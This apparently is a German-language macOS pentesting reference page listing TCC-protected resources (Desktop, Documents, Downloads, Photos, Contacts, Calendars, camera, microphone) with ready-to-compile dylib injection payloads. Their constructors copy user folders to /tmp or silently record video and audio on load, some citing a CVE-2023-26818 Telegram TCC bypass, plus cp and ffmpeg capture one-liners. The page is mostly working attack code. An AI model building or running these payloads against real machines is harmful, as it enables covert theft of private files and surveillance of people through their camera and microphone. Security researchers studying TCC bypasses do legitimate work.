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Desktop

Berechtigung: Keine
TCC: kTCCServiceSystemPolicyDesktopFolder

Kopiere $HOME/Desktop nach /tmp/desktop.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Desktop nach /tmp/desktop.

cp -r "$HOME/Desktop" "/tmp/desktop"

Dokumente

Berechtigung: Keine
TCC: kTCCServiceSystemPolicyDocumentsFolder

Kopiere $HOME/Documents nach /tmp/documents.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Documents nach /tmp/documents.

cp -r "$HOME/Documents" "/tmp/documents"

Downloads

Berechtigung: Keine
TCC: kTCCServiceSystemPolicyDownloadsFolder

Kopiere $HOME/Downloads nach /tmp/downloads.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Dowloads nach /tmp/downloads.

cp -r "$HOME/Downloads" "/tmp/downloads"

Fotos Bibliothek

Berechtigung: com.apple.security.personal-information.photos-library
TCC: kTCCServicePhotos

Kopiere $HOME/Pictures/Photos Library.photoslibrary nach /tmp/photos.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Pictures/Photos Library.photoslibrary nach /tmp/photos.

cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"

Kontakte

Berechtigung: com.apple.security.personal-information.addressbook
TCC: kTCCServiceAddressBook

Kopiere $HOME/Library/Application Support/AddressBook nach /tmp/contacts.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Library/Application Support/AddressBook nach /tmp/contacts.

cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"

Kalender

Berechtigung: com.apple.security.personal-information.calendars
TCC: kTCCServiceCalendar

Kopiere $HOME/Library/Calendars nach /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Kopiere $HOME/Library/Calendars nach /tmp/calendars.

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Kamera

Berechtigung: com.apple.security.device.camera
TCC: kTCCServiceCamera

Nehmen Sie ein 3s Video auf und speichern Sie es in /tmp/recording.mov

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

Überprüfen Sie, ob das Programm Zugriff auf die Kamera hat.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}

Machen Sie ein Foto mit der Kamera

ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

Mikrofon

Berechtigung: com.apple.security.device.audio-input
TCC: kTCCServiceMicrophone

Nehmen Sie 5 Sekunden Audio auf und speichern Sie es in /tmp/recording.m4a

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

Überprüfen Sie, ob die App Zugriff auf das Mikrofon hat.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}

Nehmen Sie 5 Sekunden Audio auf und speichern Sie es in /tmp/recording.wav

# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav